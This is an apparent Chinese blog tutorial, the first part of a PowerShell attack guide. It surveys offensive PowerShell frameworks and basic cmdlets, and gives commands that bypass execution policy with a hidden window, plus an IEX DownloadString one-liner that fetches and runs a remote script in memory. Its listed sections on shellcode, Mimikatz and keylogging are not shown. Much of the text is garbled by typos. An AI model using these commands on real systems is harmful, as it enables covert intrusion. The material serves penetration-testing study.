Powershell攻击指南1——PowerSploit

本文详细介绍了PowerShell技术,包括其在Windows系统中的管理能力,以及如何利用PowerSploit进行攻击。PowerSploit包含多个模块,如AntivirusBypass、CodeExecution和Exfiltration等,用于信息收集、权限提升和持久化控制。文中还讲解了如何绕过执行策略执行脚本,并通过实战展示了PowerUp攻击模块的功能,如Invoke-AllChecks和Get-ServiceUnquoted等。
摘要由CSDN通过智能技术生成

目录

 

1.1PowerShell技术

1.2PowerShell基本概念

1.3PowerShell常用命令

2.PowerSploit

3.PowerSploit脚本攻击

Invode-shellcode

Invoke-Dlllnjection

Invoke-Portscan

Invoke-Mimikatz

Get-Keystrokes

4.PowerUp攻击模块

5.PowerUp攻击模块实战

实战1

实战2


1.1PowerShell技术

灵活且能功能化管理Windows系统,一旦攻击者可以在计算机上执行代码,就可下载powershell脚本(.ps1)到磁盘中执行,甚至可以直接在内存中执行。

常用的powershell攻击工具:

  • PowerSploit: 这是众多owehShe攻击工具中被广泛使用的PoweShel后期漏洞利用框架,常用于信息探测、特权提升、凭证窃取、持久化等操作。
  • Nishang:基于PowerShell的渗透测试专用工具,集成了框架、脚本和各种Payload,包含下载和执行、键盘记录、DNS、 延时命令等脚本。
  • Empire:基于PowerShel的远程控制木马,可以从凭证数据库中导出和跟踪凭证信息,常用于提供前期漏洞利用的集成模块、信息探测、凭据窃取、持久化控制。
  • PowerCat: PowerShell版的NetCat,有着网络工具中的“瑞士军刀”美誉,它能通过CP和UDP在网络中读写数据。通过与其他工具结合和重定问,可以在脚本中以多种方式使用它。

PowerShell有以下这几个优点。

  • Windows7以上的操作系统默认安装
  • PowerShell脚本可以运行在内存中,不需要写入磁盘。
  • 可以从另一个系统中下载PowerShell脚本并执行。
  • 目前很多工具都是基于PowerShell开发的。
  • 很多安全软件并不能检测到PowerShell的活动。
  • cmd.exe通常会被阻止运行,但是PowerShell不会 。
  • 可以用来管理活动目录。

查看PowerShell版本

Get-Host
$PSVersionTable.PSVERSION

 

1.2PowerShell基本概念

1. PS1文件
Rowusel 本其实就是一个简单的文本文件,这个文件包含了一系列PowerShell命令,每个命令显示为独立的一行,对于被视为Powerhe脚本的文本文件,它的文件名需要加上.PS1的扩展名。

2.执行策略
为防止恶意脚本的执行,PowerShell有 一个执行策略,默认情况下,这个执行策略被设为受限。在PowerShel1脚本无法执行时,可以使用下面的cmdlet命令确定当前的执行策略。
 

Get-ExecutionPolicy
Restricted:脚本不能运行(默认设置)。
RemoteSigned:本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名的除外)。
AllSigned:仅当脚本由受信任的发布者签名时才能运行。
Unrestricted:允许所有的script运行。

3.运行脚本

.\test.ps1    #运行当前目录下的powershell

4.管道

get-process p* | stop-process

 

1.3PowerShell常用命令

1.基本命令

新建目录: New-ltem whitecellclub-ltemType Directory。
新建文件: New-ltem light.txt-ltemType File。
删除目录: Remove-ltem whitecellclub.
显示文本内容: Get-Content test.txt。
设置文本内容: Set-Content test.txt Value "ell,word!"。
追加内容: Add-Content light.txt-Value "i love you"。
清除内容: Clear-Content test.txt。

2.常用命令

如果要运行PowerShe脚本程序,必须用管理员权限将Restricted策略改成Unrestricted,所以在渗透时,就需要采用一些力法绕过策略来执行脚本,比如下面的三种


绕过本地权限执行
上传txxp1至目标服务器,在CMD环境下,在目标服务各本地执行该脚本,如下所示。
PowerShell.exe -ExecutionPolicy Bypass -File xx.ps1

本地隐藏绕过权限执行脚本
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfif -File xx.ps1

用IEX下载远程PS1脚本绕过权限执行
PowerShell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIEX(New-ObjectNet .WebClient).DownloadString(("xxx.ps1");[Parameters]


Exctiolioc Byass绕过执行安全策略,这个参数非常重要,在默认情况下,PwerShel的安全策略规定PowerSheel不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则。在渗透测试中,基本每一次运行PowerShell脚本时都要使用这个参数。
WindowStyle Hidden:隐藏窗口。
NoLogo:启动不显示版权标志的PowerShell。
NonInteractive (-NonI) :非交互模式,PowerShell不为用户提供交互
NoProfile(-NoP) : PowerShell控制 台不加载当前用户的配置文件。
Noexit:执行后不退出Shell。这在使用键盘记录等脚本时非常重要。

 

2.PowerSploit

开启apache,并将文件复制到html目录下

service apache2 start
cp -r powersploit/ /var/www/html/
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值